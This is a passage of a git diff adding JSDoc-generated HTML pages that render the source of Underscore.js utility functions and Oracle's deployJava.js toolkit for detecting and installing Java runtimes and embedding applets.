+  // Is a given variable undefined?
+  _.isUndefined = function(obj) {
+    return obj === void 0;
+  };
+
+  // Has own property?
+  _.has = function(obj, key) {
+    return hasOwnProperty.call(obj, key);
+  };
+
+  // Utility Functions
+  // -----------------
+
+  // Run Underscore.js in *noConflict* mode, returning the `_` variable to its
+  // previous owner. Returns a reference to the Underscore object.
+  _.noConflict = function() {
+    root._ = previousUnderscore;
+    return this;
+  };
+
+  // Keep the identity function around for default iterators.
+  _.identity = function(value) {
+    return value;
+  };
+
+  // Run a function **n** times.
+  _.times = function (n, iterator, context) {
+    for (var i = 0; i < n; i++) iterator.call(context, i);
+  };
+
+  // Escape a string for HTML interpolation.
+  _.escape = function(string) {
+    return (''+string).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;').replace(/'/g, '&#x27;').replace(/\//g,'&#x2F;');
+  };
+
+  // If the value of the named property is a function then invoke it;
+  // otherwise, return it.
+  _.result = function(object, property) {
+    if (object == null) return null;
+    var value = object[property];
+    return _.isFunction(value) ? value.call(object) : value;
+  };
+
+  // Add your own custom functions to the Underscore object, ensuring that
+  // they're correctly added to the OOP wrapper as well.
+  _.mixin = function(obj) {
+    each(_.functions(obj), function(name){
+      addToWrapper(name, _[name] = obj[name]);
+    });
+  };
+
+  // Generate a unique integer id (unique within the entire client session).
+  // Useful for temporary DOM ids.
+  var idCounter = 0;
+  _.uniqueId = function(prefix) {
+    var id = idCounter++;
+    return prefix ? prefix + id : id;
+  };
+
+  // By default, Underscore uses ERB-style template delimiters, change the
+  // following template settings to use alternative delimiters.
+  _.templateSettings = {
+    evaluate    : /<%([\s\S]+?)%>/g,
+    interpolate : /<%=([\s\S]+?)%>/g,
+    escape      : /<%-([\s\S]+?)%>/g
+  };
+
+  // When customizing `templateSettings`, if you don't want to define an
+  // interpolation, evaluation or escaping regex, we need one that is
+  // guaranteed not to match.
+  var noMatch = /.^/;
+
+  // Certain characters need to be escaped so that they can be put into a
+  // string literal.
+  var escapes = {
+    '\\': '\\',
+    "'": "'",
+    'r': '\r',
+    'n': '\n',
+    't': '\t',
+    'u2028': '\u2028',
+    'u2029': '\u2029'
+  };
+
+  for (var p in escapes) escapes[escapes[p]] = p;
+  var escaper = /\\|'|\r|\n|\t|\u2028|\u2029/g;
+  var unescaper = /\\(\\|'|r|n|t|u2028|u2029)/g;
+
+  // Within an interpolation, evaluation, or escaping, remove HTML escaping
+  // that had been previously added.
+  var unescape = function(code) {
+    return code.replace(unescaper, function(match, escape) {
+      return escapes[escape];
+    });
+  };
+
+  // JavaScript micro-templating, similar to John Resig's implementation.
+  // Underscore templating handles arbitrary delimiters, preserves whitespace,
+  // and correctly escapes quotes within interpolated code.
+  _.template = function(text, data, settings) {
+    settings = _.defaults(settings || {}, _.templateSettings);
+
+    // Compile the template source, taking care to escape characters that
+    // cannot be included in a string literal and then unescape them in code
+    // blocks.
+    var source = "__p+='" + text
+      .replace(escaper, function(match) {
+        return '\\' + escapes[match];
+      })
+      .replace(settings.escape || noMatch, function(match, code) {
+        return "'+\n_.escape(" + unescape(code) + ")+\n'";
+      })
+      .replace(settings.interpolate || noMatch, function(match, code) {
+        return "'+\n(" + unescape(code) + ")+\n'";
+      })
+      .replace(settings.evaluate || noMatch, function(match, code) {
+        return "';\n" + unescape(code) + "\n;__p+='";
+      }) + "';\n";
+
+    // If a variable is not specified, place data values in local scope.
+    if (!settings.variable) source = 'with(obj||{}){\n' + source + '}\n';
+
+    source = "var __p='';" +
+      "var print=function(){__p+=Array.prototype.join.call(arguments, '')};\n" +
+      source + "return __p;\n";
+
+    var render = new Function(settings.variable || 'obj', '_', source);
+    if (data) return render(data, _);
+    var template = function(data) {
+      return render.call(this, data, _);
+    };
+
+    // Provide the compiled function source as a convenience for build time
+    // precompilation.
+    template.source = 'function(' + (settings.variable || 'obj') + '){\n' +
+      source + '}';
+
+    return template;
+  };
+
+  // Add a "chain" function, which will delegate to the wrapper.
+  _.chain = function(obj) {
+    return _(obj).chain();
+  };
+
+  // The OOP Wrapper
+  // ---------------
+
+  // If Underscore is called as a function, it returns a wrapped object that
+  // can be used OO-style. This wrapper holds altered versions of all the
+  // underscore functions. Wrapped objects may be chained.
+  var wrapper = function(obj) { this._wrapped = obj; };
+
+  // Expose `wrapper.prototype` as `_.prototype`
+  _.prototype = wrapper.prototype;
+
+  // Helper function to continue chaining intermediate results.
+  var result = function(obj, chain) {
+    return chain ? _(obj).chain() : obj;
+  };
+
+  // A method to easily add functions to the OOP wrapper.
+  var addToWrapper = function(name, func) {
+    wrapper.prototype[name] = function() {
+      var args = slice.call(arguments);
+      unshift.call(args, this._wrapped);
+      return result(func.apply(_, args), this._chain);
+    };
+  };
+
+  // Add all of the Underscore functions to the wrapper object.
+  _.mixin(_);
+
+  // Add all mutator Array functions to the wrapper.
+  each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) {
+    var method = ArrayProto[name];
+    wrapper.prototype[name] = function() {
+      var wrapped = this._wrapped;
+      method.apply(wrapped, arguments);
+      var length = wrapped.length;
+      if ((name == 'shift' || name == 'splice') && length === 0) delete wrapped[0];
+      return result(wrapped, this._chain);
+    };
+  });
+
+  // Add all accessor Array functions to the wrapper.
+  each(['concat', 'join', 'slice'], function(name) {
+    var method = ArrayProto[name];
+    wrapper.prototype[name] = function() {
+      return result(method.apply(this._wrapped, arguments), this._chain);
+    };
+  });
+
+  // Start chaining a wrapped Underscore object.
+  wrapper.prototype.chain = function() {
+    this._chain = true;
+    return this;
+  };
+
+  // Extracts the result from a wrapped and chained object.
+  wrapper.prototype.value = function() {
+    return this._wrapped;
+  };
+
+}).call(this);
+
+});
+
+
+
+ + + + +
+ + + +
+ +
+ Documentation generated by JSDoc 3.6.3 on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time) +
+ + + + + diff --git a/docs/lib_deployJava.js.html b/docs/lib_deployJava.js.html new file mode 100644 index 000000000..f7c7a432c --- /dev/null +++ b/docs/lib_deployJava.js.html @@ -0,0 +1,1346 @@ + + + + + JSDoc: Source: lib/deployJava.js + + + + + + + + + + +
+ +

Source: lib/deployJava.js

+ + + + + + +
+
+
/*
+ * Copyright (c) 2006, 2012, Oracle and/or its affiliates. All rights reserved.
+ * ORACLE PROPRIETARY/CONFIDENTIAL. Use is subject to license terms.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ *   - Redistributions of source code must retain the above copyright
+ *     notice, this list of conditions and the following disclaimer.
+ *
+ *   - Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution.
+ *
+ *   - Neither the name of Oracle nor the names of its
+ *     contributors may be used to endorse or promote products derived
+ *     from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
+ * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
+ * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL THE COPYRIGHT OWNER OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
+ * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+ * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+ * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+/*
+ * deployJava.js
+ *
+ * This file is part of the Deployment Toolkit.  It provides functions for web
+ * pages to detect the presence of a JRE, install the latest JRE, and easily run
+ * applets or Web Start programs.  More Information on usage of the
+ * Deployment Toolkit can be found in the Deployment Guide at:
+ * http://docs.oracle.com/javase/6/docs/technotes/guides/jweb/index.html
+ *
+ * The "live" copy of this file may be found at :
+ * http://java.com/js/deployJava.js.
+ * For web pages provisioned using https, you may want to access the copy at:
+ * https://java.com/js/deployJava.js.
+ *
+ * You are encouraged to link directly to the live copies.
+ * The above files are stripped of comments and whitespace for performance,
+ * You can access this file w/o the whitespace and comments removed at:
+ * http://java.com/js/deployJava.txt.
+ *
+ */
+
+var deployJava = function() {
+    /** HTML attribute filter implementation */
+    var hattrs = {
+        core: [ 'id', 'class', 'title', 'style' ],
+        i18n: [ 'lang', 'dir' ],
+        events: [ 'onclick', 'ondblclick', 'onmousedown', 'onmouseup',
+            'onmouseover', 'onmousemove', 'onmouseout', 'onkeypress',
+            'onkeydown', 'onkeyup' ],
+        applet: [ 'codebase', 'code', 'name', 'archive', 'object',
+            'width', 'height', 'alt', 'align', 'hspace', 'vspace' ],
+        object: [ 'classid', 'codebase', 'codetype', 'data', 'type',
+            'archive', 'declare', 'standby', 'height', 'width', 'usemap',
+            'name', 'tabindex', 'align', 'border', 'hspace', 'vspace' ]
+    };
+
+    var object_valid_attrs = hattrs.object.concat(hattrs.core, hattrs.i18n,
+        hattrs.events);
+    var applet_valid_attrs = hattrs.applet.concat(hattrs.core);
+
+    // generic log function
+    function log(message) {
+        if ( ! rv.debug ) {return};
+        beef.debug(message);
+    }
+
+    //checks where given version string matches query
+    //
+    //NB: assume format is correct. Can add format check later if needed
+    // from dtjava.js
+    function versionCheckEx(query, version) {
+        if (query == null || query.length == 0) return true;
+
+        var c = query.charAt(query.length - 1);
+
+        //if it is not explicit pattern but does not have update version then need to append *
+        if (c != '+' && c != '*' && (query.indexOf('_') != -1 && c != '_')) {
+            query = query + "*";
+            c = '*';
+        }
+
+        query = query.substring(0, query.length - 1);
+        //if query ends with ".", "_" then we want to strip it to allow match of "1.6.*" to shorter form such as "1.6"
+        //TODO: add support for match of "1.7.0*" to "1.7"?
+        if (query.length > 0) {
+            var z = query.charAt(query.length - 1);
+            if (z == '.' || z == '_') {
+                query = query.substring(0, query.length - 1);
+            }
+        }
+        if (c == '*') {
+            //it is match if version starts from it
+            return (version.indexOf(query) == 0);
+        } else if (c == '+') {
+            //match if query string is lexicographically smaller
+            return query <= version;
+        }
+        return false;
+    }
+
+    function getWebStartLaunchIconURL() {
+        var imageUrl = '//java.com/js/webstart.png';
+        try {
+            // for http/https; use protocol less url; use http for all other protocol
+            return document.location.protocol.indexOf('http') != -1 ?
+                imageUrl : 'http:' + imageUrl;
+        } catch (err) {
+            return 'http:' + imageUrl;
+        }
+    }
+
+    // GetJava page
+    function constructGetJavaURL(query) {
+
+        var getJavaURL = 'http://java.com/dt-redirect';
+
+        if (query == null || query.length == 0) return getJavaURL;
+        if(query.charAt(0) == '&')
+        {
+            query = query.substring(1, query.length);
+        }
+        return getJavaURL + '?'+  query;
+    }
+
+    function arHas(ar, attr) {
+        var len = ar.length;
+        for (var i = 0; i < len; i++) {
+            if (ar[i] === attr) return true;
+        }
+        return false;
+    }
+
+    function isValidAppletAttr(attr) {
+        return arHas(applet_valid_attrs, attr.toLowerCase());
+    }
+
+    function isValidObjectAttr(attr) {
+        return arHas(object_valid_attrs, attr.toLowerCase());
+    }
+
+    /**
+     * returns true if we can enable DT plugin auto-install without chance of
+     * deadlock on cert mismatch dialog
+     *
+     * requestedJREVersion param is optional - if null, it will be
+     * treated as installing any JRE version
+     *
+     * DT plugin for 6uX only knows about JRE installer signed by SUN cert.
+     * If it encounter Oracle signed JRE installer, it will have chance of
+     * deadlock when running with IE.  This function is to guard against this.
+     */
+    function enableWithoutCertMisMatchWorkaround(requestedJREVersion) {
+
+        // Non-IE browser are okay
+        if ('MSIE' != deployJava.browserName) return true;
+
+        // if DT plugin is 10.0.0 or above, return true
+        // This is because they are aware of both SUN and Oracle signature and
+        // will not show cert mismatch dialog that might cause deadlock
+        if (deployJava.compareVersionToPattern(deployJava.getPlugin().version,
+            ["10", "0", "0"], false, true)) {
+            return true;
+        }
+
+        // If we got there, DT plugin is 6uX
+
+        if (requestedJREVersion  == null) {
+            // if requestedJREVersion is not defined - it means ANY.
+            // can not guarantee it is safe to install ANY version because 6uX
+            // DT does not know about Oracle certificates and may deadlock
+            return false;
+        }
+
+        // 6u32 or earlier JRE installer used Sun certificate
+        // 6u33+ uses Oracle's certificate
+        // DT in JRE6 does not know about Oracle certificate => can only
+        // install 6u32 or earlier without risk of deadlock
+        return !versionCheckEx("1.6.0_33+", requestedJREVersion);
+    }
+
+    /* HTML attribute filters */
+
+    var rv = {
+
+        debug: null,
+
+        /* version of deployJava.js */
+        version: "20120801",
+
+        firefoxJavaVersion: null,
+
+        myInterval: null,
+        preInstallJREList: null,
+        returnPage: null,
+        brand: null,
+        locale: null,
+        installType: null,
+
+        EAInstallEnabled: false,
+        EarlyAccessURL: null,
+
+
+        // mime-type of the DeployToolkit plugin object
+        oldMimeType: 'application/npruntime-scriptable-plugin;DeploymentToolkit',
+        mimeType: 'application/java-deployment-toolkit',
+
+        /* location of the Java Web Start launch button graphic is right next to
+         * deployJava.js at:
+         *    http://java.com/js/webstart.png
+         *
+         * Use protocol less url here for http/https support
+         */
+        launchButtonPNG: getWebStartLaunchIconURL(),
+
+        browserName: null,
+        browserName2: null,
+
+        /**
+         * Returns an array of currently-installed JRE version strings.
+         * Version strings are of the form #.#[.#[_#]], with the function returning
+         * as much version information as it can determine, from just family
+         * versions ("1.4.2", "1.5") through the full version ("1.5.0_06").
+         *
+         * Detection is done on a best-effort basis.  Under some circumstances
+         * only the highest installed JRE version will be detected, and
+         * JREs older than 1.4.2 will not always be detected.
+         */
+        getJREs: function() {
+            var list = new Array();
+            if (this.isPluginInstalled()) {
+                var plugin =  this.getPlugin();
+                var VMs = plugin.jvms;
+                for (var i = 0; i < VMs.getLength(); i++) {
+                    list[i] = VMs.get(i).version;
+                }
+            } else {
+                var browser = this.getBrowser();
+
+                if (browser == 'MSIE') {
+                    if (this.testUsingActiveX('1.7.0')) {
+                        list[0] = '1.7.0';
+                    } else if (this.testUsingActiveX('1.6.0')) {
+                        list[0] = '1.6.0';
+                    } else if (this.testUsingActiveX('1.5.0')) {
+                        list[0] = '1.5.0';
+                    } else if (this.testUsingActiveX('1.4.2')) {
+                        list[0] = '1.4.2';
+                    } else if (this.testForMSVM()) {
+                        list[0] = '1.1';
+                    }
+                } else if (browser == 'Netscape Family') {
+                    this.getJPIVersionUsingMimeType();
+                    if (this.firefoxJavaVersion != null) {
+                        list[0] = this.firefoxJavaVersion;
+                    } else if (this.testUsingMimeTypes('1.7')) {
+                        list[0] = '1.7.0';
+                    } else if (this.testUsingMimeTypes('1.6')) {
+                        list[0] = '1.6.0';
+                    } else if (this.testUsingMimeTypes('1.5')) {
+                        list[0] = '1.5.0';
+                    } else if (this.testUsingMimeTypes('1.4.2')) {
+                        list[0] = '1.4.2';
+                    } else if (this.browserName2 == 'Safari') {
+                        if (this.testUsingPluginsArray('1.7.0')) {
+                            list[0] = '1.7.0';
+                        } else if (this.testUsingPluginsArray('1.6')) {
+                            list[0] = '1.6.0';
+                        } else if (this.testUsingPluginsArray('1.5')) {
+                            list[0] = '1.5.0';
+                        } else if (this.testUsingPluginsArray('1.4.2')) {
+                            list[0] = '1.4.2';
+                        }
+                    }
+                }
+            }
+
+            if (this.debug) {
+                for (var i = 0; i < list.length; ++i) {
+                    log('[getJREs()] We claim to have detected Java SE ' + list[i]);
+                }
+            }
+
+            return list;
+        },
+
+        /**
+         * Triggers a JRE installation.  The exact effect of triggering an
+         * installation varies based on platform, browser, and if the
+         * Deployment Toolkit plugin is installed.
+         *
+         * The requestVersion string is of the form #[.#[.#[_#]]][+|*],
+         * which includes strings such as "1.4", "1.5.0*", and "1.6.0_02+".
+         * A star (*) means "any version starting within this family" and
+         * a plus (+) means "any version greater or equal to this".
+         * "1.5.0*" * matches 1.5.0_06 but not 1.6.0_01, whereas
+         * "1.5.0+" matches both.
+         *
+         * installCallback is an optional argument which holds a reference
+         * to a javascript callback function for reporting install status.
+         *
+         * If the Deployment Toolkit plugin is not present, this will just call
+         * this.installLatestJRE().
+         */
+        installJRE: function(requestVersion, installCallback) {
+            var ret = false;
+            if (this.isPluginInstalled() &&
+                this.isAutoInstallEnabled(requestVersion)) {
+                var installSucceeded = false;
+                if (this.isCallbackSupported()) {
+                    installSucceeded =
+                        this.getPlugin().installJRE(requestVersion, installCallback);
+                } else {
+                    installSucceeded = this.getPlugin().installJRE(requestVersion);
+                }
+
+                if (installSucceeded) {
+                    this.refresh();
+                    if (this.returnPage != null) {
+                        document.location = this.returnPage;
+                    }
+                }
+                return installSucceeded;
+            } else {
+                return this.installLatestJRE();
+            }
+        },
+
+        /**
+         * returns true if jre auto install for the requestedJREVersion is enabled
+         * for the local system; false otherwise
+         *
+         * requestedJREVersion param is optional - if not specified, it will be
+         * treated as installing any JRE version
+         *
+         * DT plugin for 6uX only knows about JRE installer signed by SUN cert.
+         * If it encounter Oracle signed JRE installer, it will have chance of
+         * deadlock when running with IE.  This function is to guard against this.
+         */
+        isAutoInstallEnabled: function(requestedJREVersion) {
+            // if no DT plugin, return false
+            if (!this.isPluginInstalled()) return false;
+
+            if (typeof requestedJREVersion  == 'undefined') {
+                requestedJREVersion = null;
+            }
+
+            return enableWithoutCertMisMatchWorkaround(requestedJREVersion);
+
+        },
+
+        /**
+         * returns true if jre install callback is supported
+         * callback support is added since dt plugin version 10.2.0 or above
+         */
+        isCallbackSupported: function() {
+            return this.isPluginInstalled() &&
+                this.compareVersionToPattern(this.getPlugin().version,
+                    ["10", "2", "0"], false, true);
+        },
+
+        /**
+         * Triggers a JRE installation.  The exact effect of triggering an
+         * installation varies based on platform, browser, and if the
+         * Deployment Toolkit plugin is installed.
+         *
+         * In the simplest case, the browser window will be redirected to the
+         * java.com JRE installation page, and (if possible) a redirect back to
+         * the current URL upon successful installation.  The return redirect is
+         * not always possible, as the JRE installation may require the browser to
+         * be restarted.
+         *
+         * installCallback is an optional argument which holds a reference
+         * to a javascript callback function for reporting install status.
+         *
+         * In the best case (when the Deployment Toolkit plugin is present), this
+         * function will immediately cause a progress dialog to be displayed
+         * as the JRE is downloaded and installed.
+         */
+        installLatestJRE: function(installCallback) {
+            if (this.isPluginInstalled() && this.isAutoInstallEnabled()) {
+                var installSucceeded = false;
+                if (this.isCallbackSupported()) {
+                    installSucceeded = this.getPlugin().installLatestJRE(installCallback);
+                } else {
+                    installSucceeded = this.getPlugin().installLatestJRE();
+                }
+                if (installSucceeded) {
+                    this.refresh();
+                    if (this.returnPage != null) {
+                        document.location = this.returnPage;
+                    }
+                }
+                return installSucceeded;
+            } else {
+                var browser = this.getBrowser();
+                var platform = navigator.platform.toLowerCase();
+                if ((this.EAInstallEnabled == 'true') &&
+                    (platform.indexOf('win') != -1) &&
+                    (this.EarlyAccessURL != null)) {
+
+                    this.preInstallJREList = this.getJREs();
+                    if (this.returnPage != null) {
+                        this.myInterval =
+                            setInterval("deployJava.poll()", 3000);
+                    }
+
+                    location.href = this.EarlyAccessURL;
+
+                    // we have to return false although there may be an install
+                    // in progress now, when complete it may go to return page
+                    return false;
+                } else {
+                    if (browser == 'MSIE') {
+                        return this.IEInstall();
+                    } else if ((browser == 'Netscape Family') &&
+                        (platform.indexOf('win32') != -1)) {
+                        return this.FFInstall();
+                    } else {
+                        location.href = constructGetJavaURL(
+                            ((this.returnPage != null) ?
+                                ('&returnPage=' + this.returnPage) : '') +
+                                ((this.locale != null) ?
+                                    ('&locale=' + this.locale) : '') +
+                                ((this.brand != null) ?
+                                    ('&brand=' + this.brand) : ''));
+                    }
+                    // we have to return false although there may be an install
+                    // in progress now, when complete it may go to return page
+                    return false;
+                }
+            }
+        },
+
+
+        /**
+         * Ensures that an appropriate JRE is installed and then runs an applet.
+         * minimumVersion is of the form #[.#[.#[_#]]], and is the minimum
+         * JRE version necessary to run this applet.  minimumVersion is optional,
+         * defaulting to the value "1.1" (which matches any JRE).
+         * If an equal or greater JRE is detected, runApplet() will call
+         * writeAppletTag(attributes, parameters) to output the applet tag,
+         * otherwise it will call installJRE(minimumVersion + '+').
+         *
+         * After installJRE() is called, the script will attempt to detect that the
+         * JRE installation has completed and begin running the applet, but there
+         * are circumstances (such as when the JRE installation requires a browser
+         * restart) when this cannot be fulfilled.
+         *
+         * As with writeAppletTag(), this function should only be called prior to
+         * the web page being completely rendered.  Note that version wildcards
+         * (star (*) and plus (+)) are not supported, and including them in the
+         * minimumVersion will result in an error message.
+         */
+        runApplet: function(attributes, parameters, minimumVersion) {
+            if (minimumVersion == 'undefined' || minimumVersion == null) {
+                minimumVersion = '1.1';
+            }
+
+            var regex = "^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?$";
+
+            var matchData = minimumVersion.match(regex);
+
+            if (this.returnPage == null) {
+                // if there is an install, come back here and run the applet
+                this.returnPage = document.location;
+            }
+
+            if (matchData != null) {
+                var browser = this.getBrowser();
+                if (browser != '?') {
+                    if (this.versionCheck(minimumVersion + '+')) {
+                        this.writeAppletTag(attributes, parameters);
+                    } else if (this.installJRE(minimumVersion + '+')) {
+                        // after successful install we need to refresh page to pick
+                        // pick up new plugin
+                        this.refresh();
+                        location.href = document.location;
+                        this.writeAppletTag(attributes, parameters);
+                    }
+                } else {
+                    // for unknown or Safari - just try to show applet
+                    this.writeAppletTag(attributes, parameters);
+                }
+            } else {
+                log('[runApplet()] Invalid minimumVersion argument to runApplet():' +
+                    minimumVersion);
+            }
+        },
+
+
+        /**
+         * Outputs an applet tag with the specified attributes and parameters, where
+         * both attributes and parameters are associative arrays.  Each key/value
+         * pair in attributes becomes an attribute of the applet tag itself, while
+         * key/value pairs in parameters become <PARAM> tags.  No version checking
+         * or other special behaviors are performed; the tag is simply written to
+         * the page using document.writeln().
+         *
+         * As document.writeln() is generally only safe to use while the page is
+         * being rendered, you should never call this function after the page
+         * has been completed.
+         */
+        writeAppletTag: function(attributes, parameters) {
+            var startApplet = '<' + 'applet ';
+            var params = '';
+            var endApplet = '<' + '/' + 'applet' + '>';
+            var addCodeAttribute = true;
+
+            if (null == parameters || typeof parameters != 'object') {
+                parameters = new Object();
+            }
+
+            for (var attribute in attributes) {
+                if (! isValidAppletAttr(attribute)) {
+                    parameters[attribute] = attributes[attribute];
+                } else {
+                    startApplet += (' ' +attribute+ '="' +attributes[attribute] + '"');
+                    if (attribute == 'code') {
+                        addCodeAttribute = false;
+                    }
+                }
+            }
+
+            var codebaseParam = false;
+            for (var parameter in parameters) {
+                if (parameter == 'codebase_lookup') {
+                    codebaseParam = true;
+                }
+                // Originally, parameter 'object' was used for serialized
+                // applets, later, to avoid confusion with object tag in IE
+                // the 'java_object' was added.  Plugin supports both.
+                if (parameter == 'object' || parameter == 'java_object' ||
+                    parameter == 'java_code' ) {
+                    addCodeAttribute = false;
+                }
+                params += '<param name="' + parameter + '" value="' +
+                    parameters[parameter] + '"/>';
+            }
+            if (!codebaseParam) {
+                params += '<param name="codebase_lookup" value="false"/>';
+            }
+
+            if (addCodeAttribute) {
+                startApplet += (' code="dummy"');
+            }
+            startApplet += '>';
+
+            document.write(startApplet + '\n' + params + '\n' + endApplet);
+        },
+
+
+        /**
+         * Returns true if there is a matching JRE version currently installed
+         * (among those detected by getJREs()).  The versionPattern string is
+         * of the form #[.#[.#[_#]]][+|*], which includes strings such as "1.4",
+         * "1.5.0*", and "1.6.0_02+".
+         * A star (*) means "any version within this family" and a plus (+) means
+         * "any version greater or equal to the specified version".  "1.5.0*"
+         * matches 1.5.0_06 but not 1.6.0_01, whereas "1.5.0+" matches both.
+         *
+         * If the versionPattern does not include all four version components
+         * but does not end with a star or plus, it will be treated as if it
+         * ended with a star.  "1.5" is exactly equivalent to "1.5*", and will
+         * match any version number beginning with "1.5".
+         *
+         * If getJREs() is unable to detect the precise version number, a match
+         * could be ambiguous.  For example if getJREs() detects "1.5", there is
+         * no way to know whether the JRE matches "1.5.0_06+".  versionCheck()
+         * compares only as much of the version information as could be detected,
+         * so versionCheck("1.5.0_06+") would return true in in this case.
+         *
+         * Invalid versionPattern will result in a JavaScript error alert.
+         * versionPatterns which are valid but do not match any existing JRE
+         * release (e.g. "32.65+") will always return false.
+         */
+        versionCheck: function(versionPattern)
+        {
+            var index = 0;
+            var regex = "^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?(\\*|\\+)?$";
+
+            var matchData = versionPattern.match(regex);
+
+            if (matchData != null) {
+                // default is exact version match
+                // examples:
+                //    local machine has 1.7.0_04 only installed
+                //    exact match request is "1.7.0_05":  return false
+                //    family match request is "1.7.0*":   return true
+                //    minimum match request is "1.6+":    return true
+                var familyMatch = false;
+                var minMatch = false;
+
+                var patternArray = new Array();
+
+                for (var i = 1; i < matchData.length; ++i) {
+                    // browser dependency here.
+                    // Fx sets 'undefined', IE sets '' string for unmatched groups
+                    if ((typeof matchData[i] == 'string') && (matchData[i] != '')) {
+                        patternArray[index] = matchData[i];
+                        index++;
+                    }
+                }
+
+                if (patternArray[patternArray.length-1] == '+') {
+                    // + specified in request - doing a minimum match
+                    minMatch = true;
+                    familyMatch = false;
+                    patternArray.length--;
+                } else if (patternArray[patternArray.length-1] == '*') {
+                    // * specified in request - doing a family match
+                    minMatch = false;
+                    familyMatch = true;
+                    patternArray.length--;
+                } else if (patternArray.length < 4) {
+                    // versionPattern does not include all four version components
+                    // and does not end with a star or plus, it will be treated as
+                    // if it ended with a star. (family match)
+                    minMatch = false;
+                    familyMatch = true;
+                }
+
+                var list = this.getJREs();
+                for (var i = 0; i < list.length; ++i) {
+                    if (this.compareVersionToPattern(list[i], patternArray,
+                        familyMatch, minMatch)) {
+                        return true;
+                    }
+                }
+
+                return false;
+            } else {
+                var msg = 'Invalid versionPattern passed to versionCheck: ' +
+                    versionPattern;
+                log('[versionCheck()] ' + msg);
+                alert(msg);
+                return false;
+            }
+        },
+
+
+        /**
+         * Returns true if an installation of Java Web Start of the specified
+         * minimumVersion can be detected.  minimumVersion is optional, and
+         * if not specified, '1.4.2' will be used.
+         * (Versions earlier than 1.4.2 may not be detected.)
+         */
+        isWebStartInstalled: function(minimumVersion) {
+
+            var browser = this.getBrowser();
+            if (browser == '?') {
+                // we really don't know - better to try to use it than reinstall
+                return true;
+            }
+
+            if (minimumVersion == 'undefined' || minimumVersion == null) {
+                minimumVersion = '1.4.2';
+            }
+
+            var retval = false;
+            var regex = "^(\\d+)(?:\\.(\\d+)(?:\\.(\\d+)(?:_(\\d+))?)?)?$";
+            var matchData = minimumVersion.match(regex);
+
+            if (matchData != null) {
+                retval = this.versionCheck(minimumVersion + '+');
+            } else {
+                log('[isWebStartInstaller()] Invalid minimumVersion argument to isWebStartInstalled(): ' + minimumVersion);
+                retval = this.versionCheck('1.4.2+');
+            }
+            return retval;
+        },
+
+        // obtain JPI version using navigator.mimeTypes array
+        // if found, set the version to this.firefoxJavaVersion
+        getJPIVersionUsingMimeType: function() {
+            // Walk through the full list of mime types.
+            for (var i = 0; i < navigator.mimeTypes.length; ++i) {
+                var s = navigator.mimeTypes[i].type;
+                // The jpi-version is the plug-in version.  This is the best
+                // version to use.
+                var m = s.match(/^application\/x-java-applet;jpi-version=(.*)$/);
+                if (m != null) {
+                    this.firefoxJavaVersion = m[1];
+                    // Opera puts the latest sun JRE last not first
+                    if ('Opera' != this.browserName2) {
+                        break;
+                    }
+                }
+            }
+        },
+
+        // launch the specified JNLP application using the passed in jnlp file
+        // the jnlp file does not need to have a codebase
+        // this requires JRE 7 or above to work
+        // if machine has no JRE 7 or above, we will try to auto-install and then launch
+        // (function will return false if JRE auto-install failed)
+        launchWebStartApplication: function(jnlp) {
+            var uaString = navigator.userAgent.toLowerCase();
+
+            this.getJPIVersionUsingMimeType();
+
+            // make sure we are JRE 7 or above
+            if (this.isWebStartInstalled('1.7.0') == false) {
+
+                // perform latest JRE auto-install
+                if ((this.installJRE('1.7.0+') == false) ||
+                    ((this.isWebStartInstalled('1.7.0') == false))) {
+                    return false;
+                }
+            }
+
+            var jnlpDocbase = null;
+
+            // use document.documentURI for docbase
+            if (document.documentURI) {
+                jnlpDocbase = document.documentURI;
+            }
+
+            // fallback to document.URL if documentURI not available
+            if (jnlpDocbase == null) {
+                jnlpDocbase = document.URL;
+            }
+
+            var browser = this.getBrowser();
+
+            var launchTag;
+
+            if (browser == 'MSIE') {
+
+                launchTag = '<' +
+                    'object classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93" ' +
+                    'width="0" height="0">' +
+                    '<' + 'PARAM name="launchjnlp" value="' + jnlp + '"' + '>' +
+                    '<' + 'PARAM name="docbase" value="' + jnlpDocbase + '"' + '>' +
+                    '<' + '/' + 'object' + '>';
+            } else if (browser == 'Netscape Family') {
+
+                launchTag = '<' +
+                    'embed type="application/x-java-applet;jpi-version=' +
+                    this.firefoxJavaVersion + '" ' +
+                    'width="0" height="0" ' +
+                    'launchjnlp="' +  jnlp + '"' +
+                    'docbase="' +  jnlpDocbase + '"' +
+                    ' />';
+            }
+
+            if (document.body == 'undefined' || document.body == null) {
+                document.write(launchTag);
+                // go back to original page, otherwise current page becomes blank
+                document.location = jnlpDocbase;
+            } else {
+                var divTag = document.createElement("div");
+                divTag.id = "div1";
+                divTag.style.position = "relative";
+                divTag.style.left = "-10000px";
+                divTag.style.margin = "0px auto";
+                divTag.className ="dynamicDiv";
+                divTag.innerHTML = launchTag;
